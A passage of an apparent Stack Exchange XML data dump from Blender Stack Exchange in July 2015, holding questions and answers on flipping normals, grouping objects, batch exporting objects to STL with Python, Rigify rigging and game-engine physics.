  <row Id="33739" PostTypeId="2" ParentId="33735" CreationDate="2015-07-10T12:22:03.800" Score="5" Body="&lt;p&gt;Here is shader doing same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/331/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=331&quot; /&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z0ynh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0ynh.png&quot; alt=&quot;screenshot - shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same result for Blender internal engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/332/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=332&quot; /&gt;&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Dwlo2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-10T13:36:48.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33740" PostTypeId="2" ParentId="33637" CreationDate="2015-07-10T12:26:14.807" Score="1" Body="&lt;p&gt;I suggest to redesign your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;controller = bge.logic.getCurrentController()&#xA;owner = controller.owner&#xA;&#xA;raySensor = controller.sensors['Ray']&#xA;if raySensor.positive:&#xA;    if 'Body' in raySensor.hitObject:&#xA;        target = scene.objects['Target']&#xA;        target.worldPosition = raySensor.hitPosition&#xA;&#xA;    owner['Body_Track'] = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recommendations: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Filter &quot;Collide&quot; at the ray sensors configuration. All hitObjects have a property called &quot;Collide&quot;. This way you get much less hitObjects and you do not need to filter by yourself. &lt;/li&gt;&#xA;&lt;li&gt;No need to import &lt;em&gt;bge&lt;/em&gt; and &lt;em&gt;bge.logic&lt;/em&gt;. One of them should be enough.&lt;/li&gt;&#xA;&lt;li&gt;Writing the exact same code several times is a sign of the need to redesign the code.&lt;/li&gt;&#xA;&lt;li&gt;Nothing in this code ever resets the property &quot;Body_Track&quot;. That might lead to confusion.&lt;/li&gt;&#xA;&lt;li&gt;No call to &quot;property()&quot; - this makes this function obsolete.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-07-23T10:19:23.657" LastActivityDate="2015-07-23T10:19:23.657" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33741" PostTypeId="2" ParentId="33463" CreationDate="2015-07-10T12:43:13.427" Score="1" Body="&lt;p&gt;&lt;strong&gt;Normals are pointing inwards&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: flip them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: They do look right at your picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transparency enabled&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: disable transparency in the material tab. As your model does not need any transparency this should be no issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mirrored the object&lt;/strong&gt;. That makes the normals point towards the opposite direction (see the first option). This can happen on negative scale on one or three axis (scale by -1). It is possible you have an according modifier mirroring your mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: Mirror again, scale back, flip normals and/or review your modifiers.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-10T12:43:13.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33742" PostTypeId="2" ParentId="33735" CreationDate="2015-07-10T13:33:26.207" Score="2" Body="&lt;p&gt;If blend4web supports vertex colours you can bake normals to a Vertex Color map, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R55Tv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the bake to work you must be in &lt;em&gt;Vertex Paint&lt;/em&gt; mode, you don't need to create a UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that will give you this effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZxD4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-10T13:39:31.497" LastActivityDate="2015-07-10T13:39:31.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33743" PostTypeId="1" AcceptedAnswerId="33746" CreationDate="2015-07-10T14:00:21.293" Score="20" ViewCount="132442" Body="&lt;p&gt;There´s a way of grouping SVG objects in blender like in Illustrator or Inkscape, where when I have to move the object the entire group move´s on together, without having to append that object to the main object?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2015-07-10T14:21:31.940" Title="Group objects in blender" Tags="&lt;groups&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ClosedDate="2015-07-10T18:44:15.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="33745" PostTypeId="2" ParentId="32245" CreationDate="2015-07-10T14:06:16.257" Score="2" Body="&lt;p&gt;As stated already, you need to set an audio codec, also some video formats don't support audio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A combination that does work is H.264 for the video (selected from the Output panel) and AAC for the audio (selected from the Audio codec dropdown on the Encoding panel).&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-07-10T14:06:16.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33746" PostTypeId="2" ParentId="33743" CreationDate="2015-07-10T14:12:51.347" Score="26" Body="&lt;p&gt;Sort of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the object you want to group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press ctrl+G, you will notice a green outline appear around them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in future, if you wish to manipulate the whole group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select a member of the group and then press shift+G and press Group and it will select every other object in that group which you can now drag around, scale etc.&lt;/p&gt;&#xA;" OwnerUserId="14175" LastActivityDate="2015-07-10T14:12:51.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33747" PostTypeId="2" ParentId="33476" CreationDate="2015-07-10T14:12:51.653" Score="3" Body="&lt;p&gt;You could use a rotated node texture and use it in the compositor. To be able to create a node texture, I needed one 3D object with a material and the texture assigned, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/333/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=333&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the blend file the node texture is top left, then to the right the compositing nodes. In the compositor, you can switch between the viewer nodes with the rotated node texture (top viewer node) and a not rotated non-node texture (bottom viewer node) to see the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwdij.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15550" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-10T14:12:51.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33748" PostTypeId="2" ParentId="33743" CreationDate="2015-07-10T14:21:31.940" Score="27" Body="&lt;p&gt;You also can just parent them together. Select all Objects you want to group and than press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;. All selected objects will now follow the object which was active during the Parenting process.&lt;/p&gt;&#xA;" OwnerUserId="15497" LastActivityDate="2015-07-10T14:21:31.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33749" PostTypeId="1" CreationDate="2015-07-10T14:25:02.197" Score="0" ViewCount="46" Body="&lt;p&gt;I've just started picking up blender for some projects at work, and am hitting a stumbling block. I'm building a fairly mechanical object and as such have been creating it in layers, using extrusions from paths. All this seems to have worked fine however when I'm now trying to use a boolean to &quot;cut&quot; holes into them, it leaves open holes into the object. Attached are some images to try and illustrate what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtU46.png&quot; alt=&quot;My overall Object/project&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/v9gkt.png&quot; alt=&quot;Here you can see me selecting my boolean modifier&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F8s7e.png&quot; alt=&quot;Here we have the result. Weirdly, it seems to add it&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s0yEA.png&quot; alt=&quot;So I go ahead and delete the extra faces, and I&amp;#39;ve got holes aplenty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;My overall Object/project&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here you can see me selecting my boolean modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here we have the result. Weirdly, it seems to add it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So I go ahead and delete the extra faces, and I've got holes aplenty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see on the front of the first image a boolean that I used to cut away a cruve from a block that worked fine, so I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it has something to do with my objects being blue rather than grey, but I don't know if this even means anything.&lt;/p&gt;&#xA;" OwnerUserId="15553" LastActivityDate="2015-07-10T18:33:48.953" Title="I've created extruded objects and they don't seem to behave correctly" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-07-10T18:53:07.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="33750" PostTypeId="1" CreationDate="2015-07-10T14:25:17.470" Score="0" ViewCount="40" Body="&lt;p&gt;Why does the fluids in my model only appear when I press render? I see video's where the person who's recording can see his fluid in object mode. But I only get to see the object that's supposed to be the fluid.&lt;/p&gt;&#xA;" OwnerUserId="15386" LastActivityDate="2015-07-10T14:25:17.470" Title="Fluid not appearing in object mode or game &quot;play&quot; mode" Tags="&lt;3d-view&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33751" PostTypeId="1" CreationDate="2015-07-10T14:49:27.170" Score="1" ViewCount="83" Body="&lt;p&gt;Normally when I press the &quot;g&quot; key everything is smooth. But suddenly as I was working on my model. Everything is moving very jittery and I cant control anything that is happening. The vertices would jump around the point but wont land at the specific area I want. Is there a way I could fix this?&lt;/p&gt;&#xA;" OwnerUserId="15554" LastActivityDate="2015-07-10T14:53:07.230" Title="I think I pressed something by accident, and now my regular movements are jittery." Tags="&lt;editing&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-10T15:03:05.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="33752" PostTypeId="2" ParentId="33751" CreationDate="2015-07-10T14:53:07.230" Score="1" Body="&lt;p&gt;You might have accidently turned on snapping tool. Check if the magnet button on the botton of 3D View is not turned on. Otherwise, please provide .blend file for better feedback.&lt;/p&gt;&#xA;" OwnerUserId="14817" LastActivityDate="2015-07-10T14:53:07.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33753" PostTypeId="2" ParentId="33749" CreationDate="2015-07-10T14:55:10.843" Score="2" Body="&lt;p&gt;Okay, I managed to figure it out. Basically all the faces were facing the wrong way on these extruded objects. So, opening them in edit mode, selecting all the faces then hitting Ctrl-N cleared it up, and the booleans are now working properly!&lt;/p&gt;&#xA;" OwnerUserId="15553" LastActivityDate="2015-07-10T14:55:10.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33754" PostTypeId="1" AcceptedAnswerId="33806" CreationDate="2015-07-10T15:09:02.907" Score="0" ViewCount="570" Body="&lt;p&gt;I'm very new to Blender. I'd like to setup a &lt;strong&gt;very simple&lt;/strong&gt; rigid body physics system using the game engine. The system is simply a pole hinged in the middle of a block, which can move horizontally on a plane with friction, and walls to prevent it flying off the plane. It responds to a horizontal force that acts on the block, at every frame/timestep. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/whO2j.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's well known in engineering as the 2D cart/pole problem, aka &lt;a href=&quot;https://en.wikipedia.org/wiki/Inverted_pendulum&quot; rel=&quot;nofollow noreferrer&quot;&gt;inverted pendulum&lt;/a&gt;, and the &lt;a href=&quot;http://ctms.engin.umich.edu/CTMS/index.php?example=InvertedPendulum&amp;amp;section=SystemModeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigid body equations&lt;/a&gt; are well known, but in Blender we don't need them! A simulation would start with the pole upright, and then apply random forces/impulses, (actuate it), horizontally on the block. When the pole falls below horizontal, its physically impossible for it to get back to vertical, and the simulation can end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting this up procedurally would be a really nice/helpful introduction to rigid bodies and actuators in the BGE. I think in terms of the BGE/Physics the only scripting needed is to use a random, &lt;code&gt;applyForce(...)&lt;/code&gt; or &lt;code&gt;applyImpulse(...)&lt;/code&gt;, on the block at each frame/timestep. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure that the game engine is needed for this simulation, only physics, as there is no user interaction? The output is just the sequence of rendered images, for a small time step/frames per second, and the value of the actuator/force applied at each timestep/frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a the easiest place to start is from the &lt;code&gt;[domino's tutotrial][4]&lt;/code&gt;         &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things I'm stick on are,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to hinge the rod to the block, I think I need a constraint, OR Maybe I should use a single &lt;a href=&quot;http://www.blender.org/manual/rigging/armatures.html#your-first-armature&quot; rel=&quot;nofollow noreferrer&quot;&gt;armature bone&lt;/a&gt; ?&lt;/li&gt;&#xA;&lt;li&gt;To apply a random force or impulse at each keyframe, I think I need something like &lt;code&gt;bpy.ops.anim.keyframe_insert&lt;/code&gt; ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Y5sm.png&quot; alt=&quot;Trying to apply a force to a cube with BGE&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15124" LastEditorUserId="15124" LastEditDate="2015-07-12T02:34:43.617" LastActivityDate="2015-07-12T02:34:43.617" Title="Setup an inverted pendulum simulation with BGE" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33755" PostTypeId="1" CreationDate="2015-07-10T15:20:58.377" Score="7" ViewCount="5854" Body="&lt;p&gt;I have as scene with 45 objects, I am trying to write a script that will export all of the objects into separate STL files. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a broken script I have right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the current path and make a new folder for the exported meshes&#xA;path = bpy.path.abspath('//1')&#xA;os.makedirs(path)&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;&#xA;    # deselect all meshes&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;    # select the object&#xA;    object.select = True&#xA;&#xA;    # export object with its name as file name&#xA;    bpy.ops.export_mesh.stl(filepath=str((path + object.name + '.stl')),   use_selection=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting a &quot;Python script fail, look in the console for now...&quot; error.&#xA;PS. I'm using a mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!!!&lt;/p&gt;&#xA;" OwnerUserId="15555" LastEditorUserId="47" LastEditDate="2015-07-10T19:25:41.290" LastActivityDate="2018-02-01T20:35:55.730" Title="Batch exporting of multiple objects into separate STL files" Tags="&lt;python&gt;&lt;export&gt;&lt;path&gt;&lt;osx&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33756" PostTypeId="1" CreationDate="2015-07-10T15:54:20.707" Score="4" ViewCount="2451" Body="&lt;p&gt;i dont know what's it called in the CG world so here's a screenshot from payday 2 AK-47. it's really just a texture, not an actual holes and bolts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFeYg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do you make those in blender ?&lt;/p&gt;&#xA;" OwnerUserId="14420" LastEditorDisplayName="user1853" LastEditDate="2015-07-23T21:44:47.763" LastActivityDate="2015-07-23T21:44:47.763" Title="how to make a bump texture in blender?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33757" PostTypeId="2" ParentId="33693" CreationDate="2015-07-10T15:55:19.633" Score="1" Body="&lt;p&gt;The solution is the update the drivers. Version 15.07 works fine with 2.75a.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2015-07-10T15:55:19.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33758" PostTypeId="2" ParentId="33755" CreationDate="2015-07-10T16:04:06.423" Score="1" Body="&lt;p&gt;use_selection=True , is not a keyword argument of &lt;code&gt;export_mesh.stl&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- stl()&#xA;bpy.ops.export_mesh.stl(&#xA;    filepath=&quot;&quot;, &#xA;    check_existing=True, &#xA;    axis_forward='Y', &#xA;    axis_up='Z', &#xA;    filter_glob=&quot;*.stl&quot;, &#xA;    global_scale=1, &#xA;    use_scene_unit=False, &#xA;    ascii=False, &#xA;    use_mesh_modifiers=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it appears to work on the Active object, so you might use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the current path and make a new folder for the exported meshes&#xA;destination_path = '/home/zeffii/Desktop/temp_stl/'&#xA;&#xA;# if path doesn't exist, create, else skip that step&#xA;if not os.path.exists(destination_path):&#xA;    os.makedirs(destination_path)&#xA;&#xA;# gather names&#xA;names = [o.name for o in bpy.context.selected_objects]&#xA;&#xA;# deselect all&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;# iterate over named objects&#xA;for name in names:&#xA;&#xA;    # select the object&#xA;    obj = bpy.data.objects[name]&#xA;    bpy.context.scene.objects.active = obj&#xA;&#xA;    # export object with its name as file name&#xA;    stl_path = os.path.join(destination_path, name + '.stl')&#xA;    bpy.ops.export_mesh.stl(filepath=stl_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-10T17:13:35.967" LastActivityDate="2015-07-10T17:13:35.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33759" PostTypeId="2" ParentId="33755" CreationDate="2015-07-10T16:10:52.227" Score="5" Body="&lt;p&gt;I actually found 3 issues with the original script:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your path creation line did not check to see if the path already existed&lt;/li&gt;&#xA;&lt;li&gt;Your stl export line used an incorrect parameter (&quot;use_selection=true&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Your path variable did not include the ending backslash so it was concatenating the stl folder name and object name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's my version of the working script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# get the current path and make a new folder for the exported meshes&#xA;path = bpy.path.abspath('//stlexport/')&#xA;&#xA;if not os.path.exists(path):&#xA;    os.makedirs(path)&#xA;&#xA;for object in bpy.context.selected_objects:&#xA;&#xA;    # deselect all meshes&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;    # select the object&#xA;    object.select = True&#xA;&#xA;    # export object with its name as file name&#xA;    fPath = str((path + object.name + '.stl'))&#xA;&#xA;    #bpy.context.active_object = object&#xA;    bpy.ops.export_mesh.stl(filepath=fPath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-10T16:10:52.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33760" PostTypeId="1" AcceptedAnswerId="33762" CreationDate="2015-07-10T16:28:32.410" Score="4" ViewCount="6204" Body="&lt;p&gt;I'm making a human character. I'm trying to rig it with rigify - but I don't think I'm doing it correctly, as when I press ctrl+p &gt; with automatic weights it makes the mesh disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend file is here: &lt;a href=&quot;http://www.pasteall.org/blend/36983&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/36983&lt;/a&gt; &lt;br/&gt;&#xA;Also, a video and gif are on my Dropbox: &lt;a href=&quot;https://www.dropbox.com/s/7tsr5dv25253gv8/rigging.gif?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/7tsr5dv25253gv8/rigging.gif?dl=0&lt;/a&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/bv65dd1kzxkwwg1/rigging.mov?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/bv65dd1kzxkwwg1/rigging.mov?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2016-05-21T09:32:04.673" Title="'Rigify' with automatic weights makes my mesh disappear" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33762" PostTypeId="2" ParentId="33760" CreationDate="2015-07-10T16:57:47.683" Score="7" Body="&lt;p&gt;Make sure you have checked AUTO RUN PYTHON SCRIPTS in the User Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go to File/User Preferences/File&#xA;and then check the box &lt;/p&gt;&#xA;&#xA;&lt;p&gt;☑️ 'Auto Run Python Scripts'&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-07-10T17:22:33.303" LastActivityDate="2015-07-10T17:22:33.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33764" PostTypeId="1" CreationDate="2015-07-10T18:08:00.780" Score="2" ViewCount="399" Body="&lt;p&gt;I would like to translate a plane along its normal by using a slider.&lt;br&gt;&#xA;I'd like to be able to move this slider that would indicate the distance of the current translation and do the translation in the 3D view. Moving the plane along its normal in the 3D view would also act on the slider and make it change its value so that we can see the quantity of the translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to script that?&lt;/p&gt;&#xA;" OwnerUserId="15558" LastEditorUserId="2217" LastEditDate="2016-12-19T23:04:26.570" LastActivityDate="2016-12-19T23:04:26.570" Title="Make a custom Slider to translate a object" Tags="&lt;python&gt;&lt;interface&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33765" PostTypeId="2" ParentId="33749" CreationDate="2015-07-10T18:33:48.953" Score="0" Body="&lt;p&gt;As, have been said above normals are the direction a certain face is facing in, and sometimes the are facing the wrong way so by pressing (Ctrl + N) you will flip the normals the way the should be,(facing outwards).&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-10T18:33:48.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33766" PostTypeId="1" CreationDate="2015-07-10T20:09:20.140" Score="1" ViewCount="725" Body="&lt;p&gt;I have used blender for years now, and never seen this happen. It's kinda hard to explain, but I can't directly edit a mesh, because there is another mesh around the object, like a cage. Please see the picture and let me know if you know what is happening. I just want to edit the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/TfuWJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15559" LastEditorUserId="3401" LastEditDate="2015-07-11T09:01:50.163" LastActivityDate="2015-07-11T09:01:50.163" Title="Edit mode object mesh offset? Not sure how to explain this" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33767" PostTypeId="2" ParentId="33766" CreationDate="2015-07-10T20:22:52.697" Score="3" Body="&lt;p&gt;It looks to me like you have an un-applied sub-surface (subsurf) modifier assigned to the object. The solid part is the representation of what the object looks like with the subsurf, but since it is not applied, the solid part is not directly editable in edit mode. If you move some of the vertices you can edit, you will find that the solid surface moves, too. An additional clue that this is the case is the normal lines pointing from each face.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-10T20:22:52.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33768" PostTypeId="2" ParentId="24165" CreationDate="2015-07-10T20:35:12.900" Score="1" Body="&lt;p&gt;I was just looking at this for duplicating a rigged character without duplicating key frames... but... it did duplicate the key frames. Here's how I figured it out and here's how it went (Blender 2.74) after some trial and error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made sure I was in &lt;strong&gt;object&lt;/strong&gt; mode, shift selected the armature &lt;strong&gt;and&lt;/strong&gt; character mesh. Duplicated (shift+D) the selected items and dragged them out (pressing Y in my case to constrain the transform to the Y axis). This created a copy with all key frames in place but displaced from the original along the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted the copy facing the original but rotating the entire selection 180 around the Z axis caused some really weird problems. The solution was to select the armature only, skip into &lt;strong&gt;pose&lt;/strong&gt; mode, select the root of the armature (the one bone that the whole thing will transform around) and then rotate (R Key, Z key, 180).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd set up the armature with some IK control bones (hands and feet), pole targets (knees and elbows) and the hip bone being the root parent for the rest. All of these were children of the main &quot;root&quot; bone that would move the whole armature. This was the root bone that I had to rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another stumbling point was when I tried to delete the existing key frames from the copy (because they &lt;strong&gt;had&lt;/strong&gt; been copied faithfully) and managed to delete the keys from both characters. Stupid mistake (because all the keys were on the dope sheet) but something to watch out for. The cursor icon in the header (next to the ghost thing) isolates the selected items and might help in this respect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this will help you directly but this thread did get me there in the end.&lt;/p&gt;&#xA;" OwnerUserId="15560" LastActivityDate="2015-07-10T20:35:12.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33769" PostTypeId="1" AcceptedAnswerId="34251" CreationDate="2015-07-10T20:52:03.227" Score="1" ViewCount="225" Body="&lt;p&gt;Seems like something went wrong here.&lt;br&gt;&#xA;Already tried to re-unwrap the wrong displayed parts of the mesh, also changing shading mode from smooth to flat and back to smooth. It still looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MIoS.png&quot; alt=&quot;Model Issue Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems like it actually doesn't have to do with the material shading. What else can I do to let it being displayed correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recalculating the normals did NOT work. It still only appears in &quot;textured solid&quot;, pure solid mode shows the model like it should. Else no errors in the texture itself.&#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ODdeu.png&quot; alt=&quot;Mesh settings screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt; .blend-file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/359/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=359&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15561" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-19T19:10:05.113" Title="Shading issue with textured solid model" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 